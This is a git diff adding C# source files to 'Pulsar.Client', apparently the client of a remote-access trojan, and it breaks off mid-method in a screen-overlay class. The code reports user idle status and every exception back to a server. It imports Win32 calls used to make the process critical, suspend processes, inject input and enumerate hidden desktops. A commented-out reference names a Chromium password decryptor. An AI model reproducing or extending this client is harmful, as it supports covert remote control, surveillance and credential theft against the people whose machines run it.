zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 0) + { + return buff.ToString(); + } + return null; + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + + if (_hookId != IntPtr.Zero) + { + UnhookWinEvent(_hookId); + _hookId = IntPtr.Zero; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/User/ActivityDetection.cs b/Pulsar.Client/User/ActivityDetection.cs new file mode 100644 index 0000000..1c284e1 --- /dev/null +++ b/Pulsar.Client/User/ActivityDetection.cs @@ -0,0 +1,133 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Client.Networking; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using System; +using System.Threading; + +namespace Pulsar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly PulsarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(PulsarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + public static string UserIdleTime() + { + var ticks = Environment.TickCount; + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + return TimeSpan.FromSeconds(idleTime).ToString(@"hh\:mm\:ss"); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/User/UserAccount.cs b/Pulsar.Client/User/UserAccount.cs new file mode 100644 index 0000000..aada1ae --- /dev/null +++ b/Pulsar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +ο»Ώusing Pulsar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Pulsar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Pulsar.Client/Utilities/.DS_Store b/Pulsar.Client/Utilities/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 _ignoredExceptionTypes; + private readonly HashSet _ignoredClasses; + + public DebugLog() + { + _ignoredExceptionTypes = new HashSet + { + typeof(CryptographicException), + typeof(IOException), + typeof(UnauthorizedAccessException), + //typeof(FormatException) + }; + + _ignoredClasses = new HashSet + { + //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumDecryptor), + //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumV127Decryptor) + }; + + AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; + Application.ThreadException += Application_ThreadException; + TaskScheduler.UnobservedTaskException += TaskScheduler_UnobservedTaskException; + AppDomain.CurrentDomain.FirstChanceException += FirstChanceExcpetion_Handler; + } + + private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.ExceptionObject is Exception ex) + { + if (ShouldIgnoreException(ex)) + { + return; + } + + LogException(ex); + UniversalDebugLogger.SendLogToServer(ex.ToString()); + } + } + + private void Application_ThreadException(object sender, ThreadExceptionEventArgs e) + { + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private void TaskScheduler_UnobservedTaskException(object sender, UnobservedTaskExceptionEventArgs e) + { + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private void FirstChanceExcpetion_Handler(object sender, FirstChanceExceptionEventArgs e) + { + if (_ignoredExceptionTypes.Contains(e.Exception.GetType())) + { + return; + } + + // see if its class is ignored + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private bool ShouldIgnoreException(Exception ex) + { + // check against ignored classes + var declaringType = ex.TargetSite?.DeclaringType; + if (declaringType != null && _ignoredClasses.Contains(declaringType)) + { + return true; + } + + if (IsUiAutomationException(ex)) + { + return true; + } + + if (ex is ApplicationException && + ex.Message.Contains("No devices of the category") && + ex.StackTrace?.Contains("AForge.Video.DirectShow.FilterInfoCollection.CollectFilters") == true) + { + return true; + } + + if (IsBlacklistedMessage(ex.Message) || IsBlacklistedMessage(ex.ToString())) + { + return true; + } + + return false; + } + + private bool IsUiAutomationException(Exception ex) + { + if (ex == null) + { + return false; + } + + if (ex is ElementNotAvailableException || + ex is ElementNotEnabledException || + ex is NoClickablePointException) + { + return true; + } + + if (ex is InvalidOperationException && + (ex.Source?.IndexOf("UIAutomation", StringComparison.OrdinalIgnoreCase) >= 0 || + ex.StackTrace?.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0)) + { + return true; + } + + var exceptionText = ex.ToString(); + + if (string.IsNullOrEmpty(exceptionText)) + { + return false; + } + + if (exceptionText.Contains("MS.Internal.Automation") || + exceptionText.Contains("System.Windows.Automation") || + exceptionText.Contains("UIAutomationClient") || + exceptionText.Contains("AutomationProxies")) + { + return true; + } + + if (exceptionText.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + + if (exceptionText.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + + return false; + } + + private bool IsBlacklistedMessage(string message) + { + if (string.IsNullOrEmpty(message)) + return false; + + if (UniversalDebugLogger.IsUiAutomationLog(message)) + { + return true; + } + + var blacklistedPatterns = new[] + { + "HRESULT: [0x887A0027]", + "DXGI_ERROR_WAIT_TIMEOUT", + "WaitTimeout", + "The timeout value has elapsed and the resource is not yet available", + "SharpDX.SharpDXException", + "SharpDX.DXGI", + "SharpDX.Result.CheckError()", + "Waiting for frame requests. Buffer size:", + "Received packet: GetDesktop", + "Capture FPS:", + "Buffer size:", + "Pending requests:", + "Value does not fall within the expected range.", + "Accessibility.IAccessible.get_accChild", + "0x800401D0" + }; + + foreach (var pattern in blacklistedPatterns) + { + if (message.Contains(pattern)) + { + return true; + } + } + + return false; + } + + private void LogException(Exception ex) + { + Debug.WriteLine($"Exception: {ex.Message}\nStack Trace: {ex.StackTrace}"); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + // Dispose managed resources here + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Utilities/NativeMethods.cs b/Pulsar.Client/Utilities/NativeMethods.cs new file mode 100644 index 0000000..605d0d9 --- /dev/null +++ b/Pulsar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,239 @@ +ο»Ώusing System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern int NtResumeProcess(IntPtr processHandle); + [DllImport("user32.dll")] + internal static extern bool SetForegroundWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern bool IsIconic(IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + [DllImport("user32.dll", SetLastError = true)] + internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + + internal const int STARTF_USEPOSITION = 0x00000004; + internal const int STARTF_USESHOWWINDOW = 0x00000001; + + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + + [Flags] + public enum MiniDumpType : uint + { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000 + } + + [DllImport("DbgHelp.dll", SetLastError = true)] + internal static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, MiniDumpType DumpType, + IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); + + [DllImport("ntdll.dll")] + public static extern int NtSuspendProcess(IntPtr processHandle); + } +} diff --git a/Pulsar.Client/Utilities/ScreenOverlay.cs b/Pulsar.Client/Utilities/ScreenOverlay.cs new file mode 100644 index 0000000..577548c --- /dev/null +++ b/Pulsar.Client/Utilities/ScreenOverlay.cs @@ -0,0 +1,2549 @@ +using SharpDX; +using SharpDX.Direct3D; +using SharpDX.Direct3D11; +using SharpDX.DXGI; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; +using System.Threading.Tasks; +using Buffer = SharpDX.Direct3D11.Buffer; +using Color = System.Drawing.Color; +using Device = SharpDX.Direct3D11.Device; +using Rectangle = System.Drawing.Rectangle; +using System.Drawing; +using System.Drawing.Imaging; +namespace Pulsar.Client.Utilities +{ + /// + /// This class provides functions for creating drawing overlays on the screen using Direct3D 11. + /// + /// Usage: + /// 1. Create an instance of ScreenOverlay + /// ScreenOverlay overlay = new ScreenOverlay(); + /// + /// 2. Draw points on the screen: + /// // Draw a point at coordinates (100, 100) with 5px width and red color on monitor 0 + /// overlay.Draw(100, 100, 200, 200, 5, Color.Red.ToArgb(), 0); + /// + /// // Each Draw call creates a new point without connecting lines + /// // This creates another point at the specified location + /// overlay.Draw(200, 200, 300, 150, 5, Color.Red.ToArgb(), 0); + /// + /// 3. Erase parts of the drawing: + /// // Erase area from (150, 150) to (250, 250) with 20px eraser on monitor 0 + /// overlay.DrawEraser(150, 150, 250, 250, 20, 0); + /// + /// 4. Clear all drawings on a monitor: + /// overlay.ClearDrawings(0); + /// + /// 5. Create, move, and rotate 3D cubes: + /// // Create a 3D cube with different colors for each face + /// overlay.Render3DCube(1, Color.Red.ToArgb(), Color.Blue.ToArgb(), Color.Green.ToArgb(), + /// Color.Yellow.ToArgb(), Color.Purple.ToArgb(), Color.Orange.ToArgb(), + /// 100, 100, 0, 50, 50); + /// + /// // Move the cube smoothly to a new position + /// overlay.Move3DCube(1, true, 200, 200, 0); + /// + /// // Rotate the cube (in radians) + /// overlay.Rotate3DCube(1, true, 0.5f, 1.0f, 0.25f); + /// + /// // Remove the cube when done + /// overlay.Remove3DCube(1); + /// + /// 6. Capture screen information: + /// // Get pixel color at specific coordinates + /// PixelData pixel = overlay.GetPixelCoords(100, 100); + /// + /// // Get a random pixel from the screen + /// PixelData randomPixel = overlay.GetRandomPixel(); + /// + /// // Capture a region of the screen + /// Bitmap screenshot = overlay.CaptureScreenRegion(50, 50, 200, 150); + /// + /// 7. Custom Rendering: + /// // Create and register custom shaders and objects that get rendered on the screen + /// // Implement ICustomShader and ICustomRenderable interfaces + /// // Then register them with the overlay: + /// overlay.RegisterCustomShader(myShader); + /// overlay.RegisterCustomRenderable(myRenderable); + /// + /// // Get DirectX device for more advanced operations + /// Device device = overlay.GetDeviceForMonitor(0); + /// + /// 8. Properly dispose when done: + /// overlay.Dispose(); + /// + /// All drawing operations are performed asynchronously on a background thread for performance. + /// The overlay automatically creates transparent windows that appear on top of everything else except the cursor, + /// making it suitable for drawing visual elements on any part of the screen. + /// + /// This implementation uses Direct3D 11. Points are rendered as quads. + /// + /// Monitor indices correspond to the indices in Screen.AllScreens[], use 0 for primary monitor. + /// + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASS + { + public uint style; + public WndProcDelegate lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszClassName; + } + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int x; + public int y; + } + [StructLayout(LayoutKind.Sequential)] + public struct SIZE + { + public int cx; + public int cy; + } + [StructLayout(LayoutKind.Sequential)] + public struct PixelData + { + public Color Color; + public int X; + public int Y; + public int MonitorIndex; + public PixelData(Color color, int x, int y, int monitorIndex) + { + Color = color; + X = x; + Y = y; + MonitorIndex = monitorIndex; + } + } + public delegate IntPtr WndProcDelegate(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + /// + /// For creating transparent DX overlays on the screen + /// + public class ScreenOverlay : IDisposable + { + private Dictionary _overlayWindows = new Dictionary(); + private Dictionary _devices = new Dictionary(); + private Dictionary _deviceContexts = new Dictionary(); + private Dictionary _swapChains = new Dictionary(); + private Dictionary _renderTargetViews = new Dictionary(); + private Dictionary _shaderResourceViews = new Dictionary(); + private Dictionary _renderTextures = new Dictionary(); + private Dictionary _needsUpdate = new Dictionary(); + private Dictionary _vertexShaders = new Dictionary(); + private Dictionary _pixelShaders = new Dictionary(); + private Dictionary _inputLayouts = new Dictionary(); + private Dictionary _vertexBuffers = new Dictionary(); + private Dictionary _vertex3DShaders = new Dictionary(); + private Dictionary _pixel3DShaders = new Dictionary(); + private Dictionary _input3DLayouts = new Dictionary(); + private Dictionary _matrixBuffers = new Dictionary(); + private Dictionary> _cubes = new Dictionary>(); + private WndProcDelegate _wndProcDelegate; + private bool _delegateInit = false; + private ConcurrentQueue _drawingQueue = new ConcurrentQueue(); + private ManualResetEvent _drawingSignal = new ManualResetEvent(false); + private bool _drawingThreadRunning = false; + private Thread _drawingThread; + private const int MAX_UPDATE_RATE_MS = 16; + private const string VertexShaderCode = @" + struct VS_INPUT + { + float2 pos : POSITION; + float4 color : COLOR; + float size : SIZE; + uint vertexID : SV_VertexID; + }; + struct VS_OUTPUT + { + float4 pos : SV_POSITION; + float4 color : COLOR; + }; + VS_OUTPUT main(VS_INPUT input) + { + VS_OUTPUT output; + float size = input.size * 0.5f; + float2 offset = float2(0, 0); + if (input.vertexID % 4 == 0) offset = float2(-size, -size); + else if (input.vertexID % 4 == 1) offset = float2(size, -size); + else if (input.vertexID % 4 == 2) offset = float2(-size, size); + else if (input.vertexID % 4 == 3) offset = float2(size, size); + output.pos = float4(input.pos + offset, 0.0f, 1.0f); + output.color = input.color; + return output; + }"; + private const string PixelShaderCode = @" + struct PS_INPUT + { + float4 pos : SV_POSITION; + float4 color : COLOR; + }; + float4 main(PS_INPUT input) : SV_TARGET + { + return input.color; + }"; + private const string Vertex3DShaderCode = @" +cbuffer MatrixBuffer : register(b0) +{ + matrix worldMatrix; + matrix viewMatrix; + matrix projectionMatrix; +}; +struct VS_INPUT +{ + float3 position : POSITION; + float4 color : COLOR; +}; +struct VS_OUTPUT +{ + float4 position : SV_POSITION; + float4 color : COLOR; +}; +VS_OUTPUT main(VS_INPUT input) +{ + VS_OUTPUT output; + float4 pos = float4(input.position, 1.0f); + pos = mul(pos, worldMatrix); + pos = mul(pos, viewMatrix); + pos = mul(pos, projectionMatrix); + output.position = pos; + output.color = input.color; + return output; +}"; + private const string Pixel3DShaderCode = @" +struct PS_INPUT +{ + float4 position : SV_POSITION; + float4 color : COLOR; +}; +float4 main(PS_INPUT input) : SV_TARGET +{ + return input.color; +}"; + [StructLayout(LayoutKind.Sequential)] + private struct VertexPositionColor + { + public Vector2 Position; + public Color4 Color; + public float Size; + public VertexPositionColor(Vector2 position, Color4 color, float size) + { + Position = position; + Color = color; + Size = size; + } + public static int SizeInBytes => Marshal.SizeOf(); + } + [StructLayout(LayoutKind.Sequential)] + private struct VertexPosition3DColor + { + public Vector3 Position; + public Color4 Color; + public VertexPosition3DColor(Vector3 position, Color4 color) + { + Position = position; + Color = color; + } + public static int SizeInBytes => Marshal.SizeOf(); + } + private class MonitorDrawingData + { + public List Points { get; private set; } = new List(); + public int[] Indices { get; private set; } = new int[0]; + public int PointCount => Points.Count; + private int _bufferCapacity; + private readonly int _initialCapacity; + public MonitorDrawingData(int initialCapacity = 1000) + { + _initialCapacity = initialCapacity; + _bufferCapacity = initialCapacity; + Indices = new int[initialCapacity * 6]; + } + public void AddPoint(VertexPositionColor point) + { + Points.Add(point); + if (Points.Count > _bufferCapacity) + { + _bufferCapacity = Points.Count * 2; + Debug.WriteLine($"Growing buffer capacity to {_bufferCapacity} points"); + } + RebuildIndices(); + } + public void Clear() + { + Points.Clear(); + _bufferCapacity = _initialCapacity; + } + public void RebuildIndices() + { + int pointCount = Points.Count; + if (Indices.Length < pointCount * 6) + { + Indices = new int[pointCount * 6]; + } + for (int i = 0; i < pointCount; i++) + { + int baseIndex = i * 4; + int indexOffset = i * 6; + Indices[indexOffset] = baseIndex; + Indices[indexOffset + 1] = baseIndex + 1; + Indices[indexOffset + 2] = baseIndex + 2; + Indices[indexOffset + 3] = baseIndex + 1; + Indices[indexOffset + 4] = baseIndex + 3; + Indices[indexOffset + 5] = baseIndex + 2; + } + } + public int GetUsedIndexCount() => Math.Min(Points.Count * 6, Indices.Length); + } + private Dictionary _drawingData = new Dictionary(); + private Dictionary _indexBuffers = new Dictionary(); + private Dictionary _bufferSizes = new Dictionary(); + private const int INITIAL_BUFFER_SIZE = 1000; + private Vector3 _cameraPosition = new Vector3(0, 0, -5); + private Vector3 _cameraTarget = new Vector3(0, 0, 0); + private Vector3 _cameraUp = new Vector3(0, 1, 0); + private float _fieldOfView = (float)Math.PI / 4.0f; + private float _aspectRatio = 1.0f; + private float _nearPlane = 0.1f; + private float _farPlane = 1000.0f; + private Dictionary> _customShaders = new Dictionary>(); + private Dictionary> _customRenderables = new Dictionary>(); + /// + /// Creates a new ScreenOverlay instance + /// + public ScreenOverlay() + { + drawThreadRunning(); + } + /// + /// Checks if drawing thread is running + /// + private void drawThreadRunning() + { + if (!_drawingThreadRunning) + { + lock (_drawingQueue) + { + if (!_drawingThreadRunning) + { + _drawingThreadRunning = true; + _drawingThread = new Thread(DrawingThreadProc); + _drawingThread.IsBackground = true; + _drawingThread.Start(); + } + } + } + } + /// + /// Thread proc for handling drawing operations asynchronously + /// + private void DrawingThreadProc() + { + try + { + Stopwatch updateTimer = new Stopwatch(); + updateTimer.Start(); + while (_drawingThreadRunning) + { + try + { + _drawingSignal.WaitOne(5); + + bool didWork = false; + int maxOperationsPerBatch = 20; + int processedOps = 0; + + while (processedOps < maxOperationsPerBatch && _drawingQueue.TryDequeue(out Action drawAction)) + { + try + { + drawAction(); + didWork = true; + processedOps++; + } + catch (Exception) + { + + } + } + long elapsedMs = updateTimer.ElapsedMilliseconds; + if (elapsedMs >= MAX_UPDATE_RATE_MS) + { + updateTimer.Restart(); + UpdateActiveOverlays(); + } + if (!didWork) + { + Thread.Sleep(1); + } + + if (_drawingQueue.IsEmpty) + { + _drawingSignal.Reset(); + } + } + catch (Exception) + { + Thread.Sleep(100); + } + } + } + catch (Exception) + { + _drawingThreadRunning = false; + } + } + /// + /// Queues a drawing operation to be async executed + /// + public void QueueDrawingAction(Action drawAction) + { + if (drawAction == null) + return; + drawThreadRunning(); + _drawingQueue.Enqueue(drawAction); + _drawingSignal.Set(); + } + /// + /// Draws a point on a monitor. The strokeWidth parameter controls the size of the point. + /// + /// Previous X coordinate (ignored in Direct3D implementation which only x,y are used) + /// Previous Y coordinate (ignored in Direct3D implementation which only x,y are used) + /// X coordinate to draw at + /// Y coordinate to draw at + /// Width/size of the point + /// ARGB color value + /// Monitor index to draw on + public void Draw(int prevX, int prevY, int x, int y, int strokeWidth, int colorArgb, int monitorIndex) + { + QueueDrawingAction(() => DrawPoint(monitorIndex, x, y, colorArgb, strokeWidth)); + } + /// + /// Erases at the specified coordinates on a monitor by removing any points in the radius determined by strokeWidth + /// + /// Previous X coordinate (ignored in Direct3D implementation which only x,y are used) + /// Previous Y coordinate (ignored in Direct3D implementation which only x,y are used) + /// X coordinate to erase at + /// Y coordinate to erase at + /// Width of the eraser (radius) + /// Monitor index to erase on + public void DrawEraser(int prevX, int prevY, int x, int y, int strokeWidth, int monitorIndex) + { + QueueDrawingAction(() => Erase(monitorIndex, x, y, strokeWidth)); + } + /// + /// Draws a point on the screen at the specified coordinates + /// + private void DrawPoint(int monitorIndex, int x, int y, int colorArgb, float strokeWidth) + { + try + { + Rectangle bounds; + try + { + bounds = Screen.AllScreens[monitorIndex].Bounds; + } + catch (IndexOutOfRangeException) + { + return; + } + ShowDrawingOverlay(monitorIndex, bounds); + if (x < 0 || y < 0 || x >= bounds.Width || y >= bounds.Height) + { + return; + } + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + Color argbColor = Color.FromArgb(colorArgb); + var color4 = new Color4(argbColor.R / 255.0f, argbColor.G / 255.0f, argbColor.B / 255.0f, argbColor.A / 255.0f); + float scaledWidth = (strokeWidth / (float)bounds.Width) * 2.0f; + float pointSize = Math.Max(0.01f, scaledWidth * 5.0f); + var vertex = new VertexPositionColor( + new Vector2(ndcX, ndcY), + color4, + pointSize + ); + if (!_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + data = new MonitorDrawingData(INITIAL_BUFFER_SIZE); + _drawingData[monitorIndex] = data; + } + data.AddPoint(vertex); + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"DrawPoint error: {ex.Message}"); + } + } + /// + /// Erases at the specified coordinates + /// + private void Erase(int monitorIndex, int x, int y, float strokeWidth) + { + try + { + Rectangle bounds; + try + { + bounds = Screen.AllScreens[monitorIndex].Bounds; + } + catch (IndexOutOfRangeException) + { + return; + } + bool shouldUpdate = false; + bool isRemovingLastPoint = false; + if (_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + shouldUpdate = true; + if (data.Points.Count > 0) + { + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 